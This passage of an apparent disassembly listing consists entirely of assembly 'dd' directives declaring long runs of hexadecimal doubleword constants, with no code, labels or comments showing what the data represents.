		dd 0A9728DDFh, 64AECD95h, 52D2601Dh, 4ED1000Dh,	0BDC699FBh
		dd 0BA97F5E1h, 4727EDC9h, 2E60CEB5h, 0B7A220Ah,	5A459D28h
		dd 6053D101h, 1411B533h
		dd 0F2611492h, 18EDD29Ch, 80699B5Bh, 50423107h,	39860935h
		dd 590152BEh, 7A026A5Fh, 0C000C86Eh, 0FBB6625h,	0F99F905Fh
		dd 0C04D697Eh, 4650FD40h, 196D3AC7h, 0B192B259h, 0E902C215h
		dd 879C578Eh, 12E09E20h, 8C820F52h, 9F2457DFh, 0F113245Fh
		dd 3162C0D7h, 0EB515E0Bh, 4A558D9h, 4C982596h, 0D8C04BB3h
		dd 0C3278038h, 0DCA55486h, 3E001C46h, 0E75C4002h, 1B01E3A7h
		dd 0D56FBBB5h, 0A63A2AF9h, 3016B2ADh, 0F6B82F8Fh, 0F88A5B04h
		dd 0F2BDFF6Ah, 80CAF0B9h, 11BE3F48h, 0B53C0BC5h, 775E112Dh
		dd 2C4300F4h, 0A1FC9C2Eh, 7975765Ch, 4822B197h,	0F8F98A10h
		dd 0BDF0B070h, 0E91EE525h, 0FC426020h, 61E72E02h, 5FC42BF9h
		dd 6F264D00h, 27028F1Fh, 0EEC809E7h, 477E46Eh, 33BDDB78h
		dd 96B1331h, 4B2A398Dh,	44053385h, 8FB51221h, 0EC6E30DDh
		dd 9820D517h, 821C4D2Eh, 0E32B5061h, 7009319Ah,	0FE78C943h
		dd 0C4953178h, 80F607E9h, 9058D8ABh, 0B8403E7Eh, 0E9ACCB08h
		dd 4899800Ah, 43643151h, 5B23C400h, 0C82B5F52h,	77CF0481h
		dd 0AF2D56D3h, 7C8DE20Eh, 0CA64222h, 9B2E619Dh,	0A3D30BDh
		dd 4C44850Dh, 0F295FE2h, 0AD209D86h, 0F3FBB724h, 5BBC61C4h
		dd 22994062h, 0E33F120Dh, 0CE007F43h, 2CF32840h, 3D4C5E7Eh
		dd 2F40C2Fh, 0ECFAA286h, 6F5EA3C9h, 0E3401D91h,	0E480840Ah
		dd 7EBD9D29h, 45E920D9h, 0CEBC6A42h, 0BCF9F584h, 4BEAD17Fh
		dd 89285B88h, 1BF09089h, 984B2043h, 0EF05815Ch,	7D255790h
		dd 8C315184h, 602FFABFh, 3B646154h, 91D03CB3h, 5AA40031h
		dd 0C721CB5Bh, 4AD2E9DEh, 0C25E4DE3h, 6820542h,	0B9012985h
		dd 8C790EC5h, 55E2FE25h, 0DF72DF73h, 3B9330D9h,	0F29AF002h
		dd 0DCCC5CFCh, 0CAD5F604h, 38823297h, 1C022945h, 2B0217EDh
		dd 12825EC0h, 0A12EAD2h, 647770FFh, 0FD001712h,	0A3792A61h
		dd 968C0ECh, 3AF970EAh,	1E15479h, 7183FD8Dh, 0C8A9DB81h
		dd 355E31FAh, 98ABFC44h, 5219DA0h, 0B7B74926h, 7F16A989h
		dd 21DF2111h, 99F32F19h, 9C01DAA5h, 8DBC4147h, 68A85922h
		dd 31BD332Ah, 9DD331DDh, 2B1E2585h, 867EAC28h, 7B09E525h
		dd 181571DBh, 0B454483Ch, 0BD13D116h, 165FD454h, 54BC3019h
		dd 78C1DFCh, 0DF2D146Ah, 45BF70E3h, 0F385781h, 6CB74A8Eh
		dd 1A27FF01h, 0E8863CE5h, 5D00CF71h, 5929112Bh,	4B3A6A93h
		dd 128C8A5Eh, 0F6AD04F7h, 0AC1D5AE8h, 0E297FB46h, 0D6DA4005h
		dd 0BB968FACh, 0EAA9979Ch, 27510566h, 8C84BF0Ch, 1400205Ah
		dd 71D46B23h, 12CC09F9h, 0E25FAF12h, 8AB988B8h,	9B2FA8Bh
		dd 0F85E1209h, 0EE156E71h, 81600E30h, 1B9B1DF7h, 56C2A51Fh
		dd 0E782666Ch, 8995A67Ah, 70DAFB56h, 0E002845Bh, 78EB894Ch
		dd 9BD175h, 2D9145CFh, 0C70099DAh, 4D16F506h, 9711A4E6h
		dd 0D4EA8124h, 0B9E3FDD7h, 2012E13Eh, 9F9A290Eh, 9191B595h
		dd 64BE801Bh, 12145E16h, 0E9473971h, 0ADADD318h, 0A81250A8h
		dd 22EE90B5h, 927F83C7h, 0ECC16C21h, 9869631h, 94DF585Ah
		dd 58019B97h, 2102974Fh, 612AB9DBh, 0F8B055D9h,	2551C5BDh
		dd 81CB2A6Dh, 0E391640h, 732B6777h, 2293E232h, 1CCBE014h
		dd 2D4754h, 2021FA29h, 0DD006789h, 0F39615C4h, 0C5B658C2h
		dd 0EA505BCEh, 5C2C1420h, 4F490013h, 4E307AF7h,	0EF128E24h
		dd 24ABE3E4h, 8220BFD4h, 7DFFBF4h, 11187461h, 5BF3D2D8h
		dd 0BF4C30D7h, 0D02816CAh, 60ADD274h, 0FD00C6E6h, 9EB293A1h
		dd 90183F7h, 0C60D59DBh, 0A2005A71h, 0AE27D34Ch, 0E1131D94h
		dd 840700B2h, 0BE665FDCh, 6128430Bh, 74175058h,	0A068ABDBh
		dd 104E24h, 0FF1AC1E6h,	0A70CCFBAh, 0E498F1F4h,	6159D612h
		dd 0E9D76EE9h, 1A4A8ACh, 0DF733714h, 7F8589E9h,	0B18085DFh
		dd 0B2CE69C4h, 0FA600B09h, 168D5822h, 12E9A60Ch, 7BEBB6BFh
		dd 2A8C7200h, 0DD695566h, 0B6F404E6h, 0A22943E8h, 0C3C44AB1h
		dd 0C0A9DEBBh, 0ACF9DA0Dh, 80B209EFh, 0BF70CDF3h, 60DB4FBDh
		dd 894E0F32h, 0EFE49561h, 242E2B14h, 0BC20F9DEh, 1DBA02E5h
		dd 0F543E30Fh, 101E8E9h, 0E9DD2B60h, 4AB1B534h,	93D9BD4Dh
		dd 9255D30Bh, 3282F7A5h, 67672205h, 16C5B52Dh, 4B0BAE2Eh
		dd 4932550Ah, 0BB507ED3h, 0FCEA27h, 1F4AEBB3h, 5096FD30h
		dd 3A9CBF07h, 0F87C07EAh, 2556B4D1h, 0C5939C64h, 2A474D0h
		dd 0D1F4377Fh, 50650F77h, 0C707C5A6h, 5DFB5063h, 0C1D0D44Bh
		dd 234CD7B5h, 7BB7870Bh, 0F0D1D6Eh, 0BE281589h,	39939680h
		dd 6504B101h, 0C342690h, 999DC081h, 0DF97283Ch,	75FA8080h
		dd 33BD501h, 0B0E79F40h, 64106047h, 3113182Dh, 1E45EA8Dh
		dd 9CA2F961h, 0B5BBFE3Ah, 5FF108ADh, 0E072045Ch, 802541AAh
		dd 1C44E381h, 8BB6DDA3h, 0D7E1614Fh, 3EF53D2Bh,	973646Ah
		dd 483FFE11h, 0F4492071h, 3902490Dh, 125D5494h,	4341D763h
		dd 3AAF0522h, 0EC09F51Fh, 41EBEF1Ch, 7F1C0508h,	74139409h
		dd 0A7E47173h, 0E2FF7C55h, 0B196F45Eh, 503CD21h, 0F146DCF7h
		dd 4C9E2F5Ah, 25B2D8C0h, 7F05094Ah, 8171ECC2h, 57DD704h
		dd 0E6F2660Eh, 0DF124BADh, 6625E31Fh, 0EDF0B5DEh, 37BC0C4Ah
		dd 0EC8700AEh, 8026BAC4h, 505D13D3h, 9D130453h,	0FC17EC35h
		dd 0A93A8C1Ch, 995E015Dh, 75D54383h, 32FE976Bh,	2A561F9Bh
		dd 9DAAFAE5h, 4EDA2A57h, 7ABF3280h, 745CDFA2h, 7BAFC087h
		dd 84685Ah, 0F21B4A1Fh,	0C49AB79Eh, 46975871h, 0C3810230h
		dd 48CBD50Eh, 9B02945Dh, 3B3F5802h, 0C64E2207h,	47A7D054h
		dd 1035D69Bh, 8F64A2Ah,	0CE301AB2h, 0AC6B0B7Bh,	0D302AE01h
		dd 4F77C486h, 0E6196059h, 30B9448h, 552F09BDh, 1A926A37h
		dd 9B8A0660h, 696A0A60h, 25F63B64h, 0BFCDF162h,	47EBAEE0h
		dd 85D3014Ah, 1595726h,	502332BDh, 225BDDABh, 90459A2h
		dd 0AF072185h, 5A29FE73h, 0B366120Eh, 913064C0h, 0FC8295A8h
		dd 9E2113E9h, 0B3F8EC0Bh, 33541C17h, 88F7406Dh,	0E7A81267h
		dd 5B0C2312h, 8C0F6E61h, 0C68BA25h, 0BAA0FAC0h,	0E017B00Ah
		dd 22C7C2F8h, 2085FDF0h, 0B827170Dh, 6E01CDC8h,	0B2FECD95h
		dd 999F1E04h, 5EC1C242h, 317661ADh, 0F9D36A38h,	9CA34BE8h
		dd 0C28B4863h, 0C05324E5h, 86194F26h, 0A8312EEFh, 0A9415653h
		dd 5F0303F9h, 0A288B88Ch, 0FE8B2526h, 76855525h, 0AE0E34EFh
		dd 60DE6581h, 2BC88C2Bh, 0C85B510h, 96DDE14Ah, 55BD6159h
		dd 4F8C14ACh, 13C4A09Fh, 650C1283h, 0CFA4BD01h,	9991B70Fh
		dd 0E62BDA8Ah, 321BB262h, 10221F4h, 75AE5364h, 2BF81041h
		dd 1CC884DAh, 0B22DB9C1h, 0F43BA06Bh, 0C5B5F025h, 4431161h
		dd 7559501h, 5E273A29h,	0D6BBD440h, 5BF513B1h, 0A31BF7C6h
		dd 2830D9D4h, 0B82559D4h, 99D70991h, 895E1F1Eh,	60214D7Ah
		dd 3D8F60A6h, 4DB3FE05h, 0AF1DE9h, 0AEFCBF6Eh, 2976F71h
		dd 4A29BD80h, 0EB785640h, 0DE414B6Dh, 0F0C01E83h, 0DA70161h
		dd 953163D4h, 3FD935C9h, 96855AF0h, 1DF1ADF3h, 0D62F3600h
		dd 358FBF3Dh, 0BA265FA2h, 953AC52Dh, 8DC904D3h,	2B7E8981h
		dd 0BB98656h, 6D0015B8h, 0F976DC6Fh, 95313B10h,	0BF50DB64h
		dd 73DC39Ah, 0C445A52Bh, 0F023178Ch, 0AC37A3Bh,	0C06BCC10h
		dd 62A5BC2Eh, 13FA7E8Dh, 0A830890h, 951AE0ADh, 26C2B869h
		dd 13527E24h, 0E007A690h, 5EFC6FC0h, 0C37D9B6Ah, 0F03BF4F1h
		dd 1712236Dh, 0CCF7B80Ch, 5CBFF936h, 0ECE0DE25h, 4B1DAF3Bh
		dd 97F9CE8Ch, 7F60A919h
		dd 0BE8021ACh, 4B49CEDh, 0D15F8198h, 0D7E062E6h, 7200A530h
		dd 0D49FB709h, 1233DB81h, 0E211FF76h, 0DC6389ADh, 0ED1DE0CAh
		dd 7D502298h, 0F75B8BD6h, 6B31C8h, 6A58D680h, 33C63771h
		dd 16424700h, 0EEA863FCh, 70E3040Eh, 4009E918h,	1A2F4A9Bh
		dd 2D88045Dh, 825E03CBh, 51FD0272h, 0E02B25D9h,	391D6C7Dh
		dd 85D953CBh, 0BB45C892h, 0A661A10Fh, 2EBE8379h, 7F49FFEh
		dd 2DE28FB8h, 0B7577142h, 5538812Bh, 5B604BCBh,	0DEC2C0CAh
		dd 121EA03Eh, 0E31DF5C7h, 0FC8A0BBAh, 83142850h, 0DE3DA6h
		dd 0CBF29632h, 5BDAB75Eh, 5BD40997h, 9616F0CAh,	0A17FBE01h
		dd 2101497Dh, 62936C68h, 0FB609873h, 0E302569Ah, 1DBD8978h
		dd 8794D720h, 75D88B2Fh, 4ACF8A18h, 45D41E0Fh, 8EE6B66Ah
		dd 9712E4E0h, 7D6B0A0Eh, 578FEB5Bh, 0EA61E19Ah,	1C7AFE49h
		dd 7124ED25h, 562944D2h, 20006EE2h, 0E862B4CBh,	0BFE21C4Fh
		dd 0C2E4F407h, 8100B07Ch, 2FC8AAD3h, 20F97B92h,	9C561A5h
		dd 4A5AB23Bh, 0DBC0A4A8h, 3250583h, 75C2BE12h, 0E44B861Ch
		dd 2957AB71h, 0E3B8D5BCh, 8A880AE8h, 0C5220A10h, 0B94BF78h
		dd 0DF80AB2Dh, 739611D9h, 0D5805F4Bh, 4BF18509h, 23CF980Ah
		dd 2516C6BDh, 0C4C1F5C1h, 0F3952BF9h, 2A41C9AAh, 11FBF7C3h
		dd 1E11AD34h, 0DA3B01D1h, 898E6EA4h, 86A3029h, 508527C0h
		dd 9747554Ch, 0EB809203h, 13B80CC6h, 71321525h,	762991ECh
		dd 6A1897Eh, 738A2B8Eh,	0F20BD400h, 88C44A2Eh, 0A8358A1Fh
		dd 60244BD1h, 5FD381A4h, 2E6103B7h, 0BD298930h,	0A82F5A2Dh
		dd 8AABF4D8h, 9222Bh, 3E5E600Fh, 529BCC20h, 85895C16h
		dd 94685DAEh, 494F7895h, 9173F112h, 4B732608h, 0A1854837h
		dd 0EB4901h, 710BA95Eh,	955B09E6h, 0B73C12EAh, 0D291097h
		dd 0E8EB90Ah, 20BEA08Fh, 60BF1325h, 0B0615B53h,	97CC77C4h
		dd 1DA09E08h, 875E25F9h, 0DD31B812h, 0D3C2BAFBh, 0AAEED86Dh
		dd 7B2BAF17h, 2D87C8h, 0BA646298h, 7DA318C6h, 0D26F4300h
		dd 49124EB6h, 85991288h, 0FCCAB944h, 2F028C15h,	298D89C9h
		dd 9730D71Ah, 0FD00C485h, 0FC05A880h, 9D4DEF8h,	0D3E7183Ah
		dd 55405EF4h, 0B13CBEh,	0AC4C15DAh, 0BC174B70h,	0F1CB8B02h
		dd 60735290h, 12B2766Eh, 0AF5F2DFAh, 1823246Ah,	7813BD00h
		dd 975039CDh, 0AE5FA904h, 0A680E52Ah, 187A0FBEh, 891D2728h
		dd 0ED28F925h, 601CE404h, 2801190h, 0BD577A7Ch,	2A41FA08h
		dd 52B2FDEh, 6E3EC751h,	64762D37h, 0E476BD09h, 0D1EBB000h
		dd 3D9D3DBCh, 0C3806DF9h, 0B660EC12h, 61F2B1B2h, 91BAC595h
		dd 5A844F81h, 75B88649h, 1591329Fh, 1822D08Bh, 89002969h
		dd 9732D59Dh, 0C7DC14BAh, 12AA07DCh, 48E9766Dh,	60C0FEADh
		dd 84709FF3h, 0F71FE700h, 0BDF8B1CAh, 0E1FF0533h, 0BACDE380h
		dd 2DB51B98h, 0ED790929h, 0B59AF5C6h, 0BD78A2D3h, 668704C1h
		dd 0B8494DBFh, 40E1A3E7h, 0E1F58F51h, 98E5382Eh, 0FEBF10E9h
		dd 8D010B60h, 0A65E04D9h, 83D7374Bh, 0E15118B4h, 6B665D81h
		dd 17C8C3CFh, 0F66B4C1h, 22E9E23Ah, 4E85E608h, 0E839ADE9h
		dd 45248C15h, 0EB3D2BB5h, 0BBC47753h, 3EDF121Eh, 7E7AEDC0h
		dd 5CB96C9Ch, 2F0419E5h, 0F8A8323Bh, 0CBCF5033h, 0E35CD6E9h
		dd 50FE8B60h, 0B94B1CBFh, 50646D4Ah, 0B0332D20h, 0AA117311h
		dd 35B5605Fh, 685F802Eh, 6F20070Bh, 1DFFF85Ah, 0E77023F8h
		dd 5E70C673h, 31B571C7h, 0C9F2571Bh, 58D5042Bh,	0A546F8E7h
		dd 8D3934B1h, 0E1019D5Ah, 5B856641h, 0B194E76Fh, 6CC04A02h
		dd 6A8B09DDh, 9D4C0E9h,	93D1C741h, 0A700122Eh, 3CDFB0ABh
		dd 18D60940h, 0DA6453D3h, 0E91E6A00h, 47E333A2h, 395C0B32h
		dd 38778744h, 9DD98A96h, 0F831DF73h, 0CB2A1F75h, 5F9A5FD9h
		dd 3B1E2C81h, 31CC2BF3h, 7DB50B01h, 0A95E3708h,	0CE606DCBh
		dd 72A5E64Fh, 0B53001E9h, 0F989F46Fh, 0B755CEC8h, 1269E31h
		dd 0EF11191Eh, 9B6B3A41h, 1D0B1523h, 10BB8034h,	0F2BDBFCCh
		dd 0D72AF9CAh, 15982ECh, 5F5B5622h, 276029CFh, 25B61F20h
		dd 32C495F1h, 0E0C64D9Fh, 0A2610537h, 0D381BB00h, 761CC56Bh
		dd 0AB9F0268h, 525043B2h, 7FFE9E41h, 7EFDB13h, 0F4D3F450h
		dd 0F784AA54h, 0A8D00297h, 275243ADh, 3371800Fh, 1B572841h
		dd 0E8A34EDCh, 0BD384A75h, 8E0F8358h, 0FC2D2501h, 0BF05B176h
		dd 37A12719h, 2358A6Bh,	2701571Eh, 4B126C3Ch, 83519B61h
		dd 0D220F540h, 92DF6Dh,	46F60156h, 7C38001Dh, 0B22849F2h
		dd 0AB2E04D5h, 0C013B7DEh, 598FDB17h, 4E5C9495h, 14A9B312h
		dd 2D0825E9h, 2506E687h, 0FC7BDE5h, 5F52395Ch, 7759032Dh
		dd 94F9243Ch, 52FFB516h, 112CAE11h, 0E190959Ch,	0BE0494E7h
		dd 1C2DB531h, 71F18EABh, 0D1A6035Fh, 7D653C0Eh,	0BCE09442h
		dd 264D8360h, 4422D9B7h, 0D2DAACDFh, 0DA57E501h, 322B1C4Eh
		dd 0CD55F91Fh, 601C64D7h, 41A7913h, 7A02A887h, 1048F89Dh
		dd 0AC4E30D9h, 0CBBF8014h, 9D4A8595h, 22DD3002h, 11845CB2h
		dd 0D4B8ACF9h, 111321C2h, 0A2D1000Eh, 84B0AECBh, 57677A7h
		dd 0B22AA04Ah, 0BF7020EFh, 0A32598D6h, 0D66F5C32h, 9A001B46h
		dd 0F1267722h, 109D065h, 0D554D780h, 1B91B3B5h,	3CB7E080h
		dd 3D759EF8h, 0FCCDF34Ah, 4F015760h, 0A72BAC10h, 0BB562h
		dd 2AA5BD03h, 2F5F5482h, 89BD48E6h, 0BF385081h,	9100BD37h
		dd 0CFDF6987h, 2DEF965Bh, 1759545Bh, 0BF00BC18h, 60528E74h
		dd 246C6EBAh, 259F0C66h, 0AE617BA5h, 2B34F65h, 0E2C20D06h
		dd 0B2967C45h, 0E9AC2EDCh, 81DF0CCBh, 3524A20Eh, 7BAD453Fh
		dd 0B5D6D8AEh, 0E9FBFE0Bh, 207399C5h, 3940BF20h, 7A80701Bh
		dd 0D407E453h, 0D800F7BDh, 0C4425D04h, 5D9531C0h, 5B2F3315h
		dd 8F402D1Ah, 68B53DE7h, 1F46BBE3h, 1E4BC3DEh, 693BDF5Ah
		dd 0B3F8125Fh, 0FD175096h, 1ACE2AEDh, 0CD9C5522h, 9CFF0916h
		dd 3B1DBB9Ch, 80029689h, 0D429A9C2h, 0F88B0B7Bh, 0CD46A609h
		dd 999588F0h, 0D13996F3h, 232E20B9h, 596D0702h,	0F0D87FDFh
		dd 7EE625BAh, 155165Ch,	0B73BD212h, 3AF66FF8h, 269019B2h
		dd 780A32EBh, 964F99D2h, 5CF86809h, 0B251E94Eh,	54CA42A7h
		dd 0C3565191h, 0BAE6BF85h, 33F4E8E2h, 0E19D2902h, 0EBB05613h
		dd 4103DCB7h, 0B8ABB689h, 91C62F38h, 0E5D42D14h, 0ACA447A5h
		dd 4907D62Ch, 32F19DC5h, 0E4A40B71h, 2B7B40F2h,	5577193h
		dd 0E95B5FF5h, 4BC5BF37h, 8B893ADBh, 5398BCE4h,	13056120h
		dd 83418501h, 0ADB23114h, 0C19243DCh, 0DF87F89Bh, 813EE423h
		dd 7843B309h, 0A0B90700h, 0DF405AEDh, 4B7AE93Ch, 2B089D61h
		dd 2CA0BCA6h, 0D9BD89B8h, 0B5BD8666h, 903A0C25h, 0BB5081B3h
		dd 1E9E5D57h, 49EFDFE6h, 0F5E24B47h, 0FD02415Ch, 85A6246Eh
		dd 0C8EF318h, 0DA16B3EFh, 3BFF2772h, 0F6E0B7EDh, 3617B6Ch
		dd 0EC3E72B8h, 0EA1285CDh, 0B3AA0515h, 0A9ADF50Bh, 2C7D0280h
		dd 1400D560h, 30BFBA86h, 5B041364h, 84098050h, 0D1258B6Dh
		dd 844F5D61h, 0CC72E640h, 0BC5B9D4Dh, 0A3647DD2h, 0B0189A0h
		dd 2896B1A0h, 54445030h, 4A098D31h, 0F2B7B61Ch,	0B54D301Bh
		dd 0B48A302h, 0FDA4DAE6h, 9B6A331Ah, 75BD3A55h,	2A01CC35h
		dd 67B69D28h, 0D88CB331h, 0AD080D75h, 0D1FFAB12h, 0B7E035B6h
		dd 360E1C89h, 5782B891h, 5200D8A2h, 9723A0D9h, 0FA09F1D5h
		dd 71F34E59h, 4477443Bh, 0A2E6026Ah, 90F0EBE0h,	3BCA7097h
		dd 0E64BFE8Ah, 0A7E2E019h
		dd 696D9734h, 0A601564h, 9D258B3Fh, 47CC5D39h, 5D9C4507h
		dd 0C6A46D2Ah, 7CE14FB8h, 0D0EE05FFh, 0F98B358Dh, 80131997h
		dd 0B3907730h, 0D7501DFEh, 0D1226083h, 1EBC90E9h, 4AB30CDCh
		dd 21C68D57h, 2EE2125Ah, 72F292h, 9C542239h, 168BCD42h
		dd 4C91BD0Bh, 8A885BF0h, 0FDC44E4Ah, 23513FFBh,	74110B16h
		dd 0D941847Fh, 0ECD31CB8h, 82874959h, 8B4DEBE9h, 70B8F488h
		dd 8A01FF6Ah, 2840BBD8h, 1E7024EBh, 0A91C5F39h,	7D20E8FFh
		dd 1EEB04D7h, 0B91D84F2h, 2DE28C29h, 0B0DE388Bh, 56AB885Eh
		dd 80FE9639h, 0AA8A27AFh, 0EF2123h, 0B7BF5311h,	5B550667h
		dd 0B8605F1Dh, 79C038C5h, 0D7F28209h, 0B5314902h, 0E4322277h
		dd 7E987771h, 6009E781h, 722BD390h, 39D4424h, 1C69BD12h
		dd 6AB22DAEh, 0B2ED982h, 6FEE2255h, 4B1281Fh, 0B9ED67DFh
		dd 0C59D0815h, 0C0D86432h, 0EB80FCE3h, 63E90214h, 49850E2Ch
		dd 0CB440E4Eh, 6CF656D9h, 2140B946h, 71B52C29h,	0CDFCADAEh
		dd 3DBD33E0h, 36ACA929h, 96646013h, 0F5ADA8E8h,	0F059F589h
		dd 2C611F11h, 2A4099C7h, 0DC0474CAh, 10708EBEh,	0D98A1256h
		dd 0B410E2B6h, 0CF047381h, 775B2514h, 809BDEEEh, 128A7F01h
		dd 0BE11510Dh, 752B25FDh, 0C01AECE4h, 0D7A00D3Bh, 29C407F1h
		dd 900F47D6h, 0D0FF502Ch, 0A2B09B79h, 5419B93Eh, 8B0BFC8Fh
		dd 0D51FADB5h, 5D557EBh, 4356BA9Bh, 0CFC0DA89h,	0DDA400F5h
		dd 0FC301197h, 0A4785CBBh, 485406FEh, 0CF51BD01h, 9A48AA9Ch
		dd 0FB95F000h, 512B75DEh, 17D4BDC0h, 486A78C4h,	4D1707D2h
		dd 0C7DFE13h, 2BA9BF6Dh, 859DB41h, 0A97E8B76h, 0C00F2793h
		dd 2D5EAA8Ah, 36561FA8h, 2BA9BD61h, 0CCBB1E0Ah,	5B3B9949h
		dd 6635AF91h, 24FB8A13h, 0E0ECAAAAh, 4D952981h,	62B26A19h
		dd 0F99D23F1h, 69A67E0Bh, 0EB01CE12h, 0A625B029h, 0C9D6A23Ah
		dd 80B77B4Ah, 0BA3DB36Eh, 604F605h, 0B822F376h,	572A8A8Dh
		dd 0E8DAA957h, 89490466h, 160DC185h, 8B028308h,	0B4FDFA8Bh
		dd 44B2574h, 0DE12E5BDh, 3D853AB2h, 0DB7AEA04h,	0AEC8D02h
		dd 54561552h, 4DACDA51h, 6A0FDE2Dh, 80CB80E4h, 61B50160h
		dd 71B5951Dh, 47811811h, 2A867633h, 29E9E504h, 2B6D23ABh
		dd 2A0CFDC9h, 692217E3h, 4330604Bh, 24453DBFh, 891148Fh
		dd 3A261B01h, 28CA8A16h, 38E0F009h, 90AA5181h, 0CBCCE0F5h
		dd 3025A012h, 1AB281B6h, 2833D30h, 5DE0FB87h, 72FD0B86h
		dd 5153B511h, 0C9BE5E5Ah, 3B35A077h, 4ED4FBDBh,	0DA7CA401h
		dd 813BD1BFh, 8C2D1BBBh, 0C960FC4Fh, 18F69F0Bh,	0BA4D6F3h
		dd 3FDF070Dh, 0F51D002Ch, 2A877C5Bh, 810F2F14h,	4608C0C5h
		dd 7E6863F2h, 0D47E0914h, 7D7C9B7h, 0A072EB0Ah,	70AE5B2Bh
		dd 2617100Eh, 0C01109B4h, 0CE573BF2h, 0D8BEED25h, 0C3BB5608h
		dd 5D203028h, 85E0CE23h, 0E37BAA73h, 8749BB00h,	29A74D11h
		dd 0B9430716h, 0F993904h, 7012AD4Fh, 0E3C8423Dh, 0E835CA03h
		dd 808EEFD8h, 95635580h, 6451BCB2h, 72B4DB00h, 49ED5E2h
		dd 848D94B0h, 4B0CB8A2h, 984A14A9h, 0F8588A96h,	0CAC53E1Ah
		dd 9A5E98CBh, 57868368h, 5F5CA180h, 9582982Ah, 0B484B974h
		dd 0E829DCCFh, 80BB91D6h, 0CAD46E0Ch, 2974BF0h,	0C3368ECDh
		dd 0CED5FFCFh, 3E712FCh, 3657B1E2h, 9903F37Ch, 83D09834h
		dd 7049E96h, 0F050D1A4h, 310FD58Ah, 0FD1774F2h,	64A44AACh
		dd 634704BFh, 0B69626C1h, 8273E3F6h, 761ADD3Fh,	53D7057Dh
		dd 58B048E7h, 0FF0B3F4Bh, 0FD019A09h, 2A2BA269h, 41685D20h
		dd 9F359029h, 0BE7E83E4h, 0ED959A79h, 79BDC1E7h, 8A342B1Ch
		dd 0E02F83B1h, 501F2548h, 5F9E5356h, 71067BADh,	8D9C6BB9h
		dd 61044091h, 2FEAE85Eh, 83BB01EAh, 5F712D99h, 0FC922C2Bh
		dd 4557B725h, 383F1CCCh, 0BD85AD5Ah, 2F34AF2Bh,	0D940C8AEh
		dd 2302D27Eh, 0EC6EB4E7h, 659FE0DDh, 0E95F801Bh, 662B1E65h
		dd 8EAA41C5h, 6A2BE93Dh, 0E45D00E8h, 0BBCA1999h, 9BD51279h
		dd 84A8B20Dh, 80020514h, 0D496A4EBh, 0F1050421h, 0BCC1818h
		dd 0DFA98C07h, 1959BEDBh, 0E46DC19h, 0BACD8B12h, 892FF1A3h
		dd 54252EF4h, 0E274E9F6h, 0F863ADCh, 8CD52800h,	13E91497h
		dd 39099088h, 55001F25h, 0B907AFB6h, 0F70F38BEh, 0C1E73AEDh
		dd 0B589662Dh, 5A6EFD7Bh, 4FE53AE1h, 0B0CDA72Bh, 2D76F864h
		dd 46C1B92Dh, 11CB2A2Fh, 815FDA4Eh, 68618B02h, 0B4960A2Ch
		dd 0C11CD95Dh, 0B509C90Bh, 66DD8096h, 9816B0BFh, 5B4390DFh
		dd 7EEFF8C3h, 965F570Bh, 129E0E09h, 0FEC948E2h,	46D60056h
		dd 541F0218h, 5547497Bh, 1991DE35h, 7D824780h, 1B50B3ACh
		dd 14031A9h, 5CE4FD81h,	8D584B8Fh, 0D206A77h, 716DEFh
		dd 1431E1B0h, 0DC49AE02h, 0D84DC801h, 585901Ah,	0A9BD0120h
		dd 0E67F5F85h, 0BDB6B44Ah, 0E612FB5Eh, 0FA2654CDh, 12A1FCF5h
		dd 75E21CCDh, 588CE84Ah, 9E75C016h, 726E20D0h, 25CE8A0h
		dd 7D87E547h, 9789615Fh, 8A95305Ah, 9DE5C589h, 0F64F73BDh
		dd 301CB29Dh, 37019514h, 0EE180B0Ah, 7F3887BEh,	6C80EB97h
		dd 9AA76BFh, 0E2A1CA07h, 4E00D644h, 0F6D50A81h,	54BF756h
		dd 0C71332DCh, 0C72AAA5Bh, 0BD6EE780h, 0E348A099h, 0A7B75AF0h
		dd 0BD255F77h, 0A52E8C5h, 93461415h, 0ED711FD6h, 52DEBF5Eh
		dd 0F3002C1Dh, 4C216EA3h, 65E87918h, 0BD2C2BE0h, 75A507DDh
		dd 0B025AD35h, 1287C992h, 0CC9A7F91h, 32007B9Bh, 9978FFE8h
		dd 124743D5h, 0E1A55052h, 79AF23C3h, 49A7E024h,	4164FF00h
		dd 4857DFh, 69D2E82Fh, 0A3CB0D7Ch, 79BD84ACh, 8E54AF4Ah
		dd 402EE142h, 9518F553h, 3821473h, 5C04619Dh, 0C34971E3h
		dd 0BCE1BD85h, 0D7C801F6h, 61CB1B49h, 6E587128h, 810A01F0h
		dd 0F794250h, 6CF84A20h, 64B400F5h, 62942FA4h, 1E71D908h
		dd 0A1FF7550h, 0A0B91D4Ah, 138C14BCh, 0AED3807Ah, 5B633A66h
		dd 0F22BA61Bh, 59263019h, 0A2EAE209h, 0D1F936h,	693A27DFh
		dd 29972FD4h, 0BF603DE1h, 2D852908h, 96007349h,	0C0BAFD7Ch
		dd 0E7E433BDh, 948900BFh, 98192714h, 3A97A7AEh,	6048CDEDh
		dd 0EDCEEAE6h, 1043CB25h, 72B93199h, 0E6100B0h,	14E67DECh
		dd 22045059h, 7F929F85h, 3BC951ABh, 0D5447BADh,	31FE359Dh
		dd 2FDA8B09h, 0DA2A263Dh, 64DC8BB0h, 0B47E01EEh, 0CC9F5F17h
		dd 0F346F0C8h, 2AB7D595h, 1FE1993h, 0A59D2388h,	12352F1Dh
		dd 4D00BB6Bh, 0B6927433h, 3000BB0Eh, 0EB81A319h, 2541D2FAh
		dd 0CF57F542h, 421FE07Ch, 67776AFEh, 0ADBD3312h, 90B54BBAh
		dd 0DC07C471h, 50C7AB0Dh, 689A5310h, 693602C4h,	0F57A2AB8h
		dd 18D77B62h, 1ACA01h, 5BF13AAh, 1C197339h, 0F28BA605h
		dd 89056659h, 0C5ED9061h, 1905FCB8h, 0BA27B97h,	891E88EAh
		dd 0F55BD14h, 0E3079685h, 0F76925CFh, 0E98B9437h, 0B5FDA21Ch
		dd 4B70828h, 0BB3C0F84h, 14E7B6Fh, 138EC0C6h, 0F2AC2B03h
		dd 0C1550996h, 32BB02DDh, 0D2017F52h, 0F3952905h, 0B1900ACCh
		dd 68DD2360h, 19F900E1h, 0A0B5B86Ah, 524E50EFh,	5BCF50FCh
		dd 0FC8A5123h, 0BC33B9ACh, 0E01A3088h, 38D7813Ch, 0A5ADA1Ah
		dd 75BA0210h, 33565713h, 451C49DCh, 0F0364987h,	9CCA58B6h
		dd 317EF813h, 5EAE211h,	17F1BD0Bh, 2BC7DDEAh, 50825620h
		dd 0A5B002F5h, 22758509h, 0E49FC755h, 92796115h, 2EFF292Eh
		dd 50E97516h, 892F08BCh, 89E5748Dh, 2E76026Ah, 49AF1634h
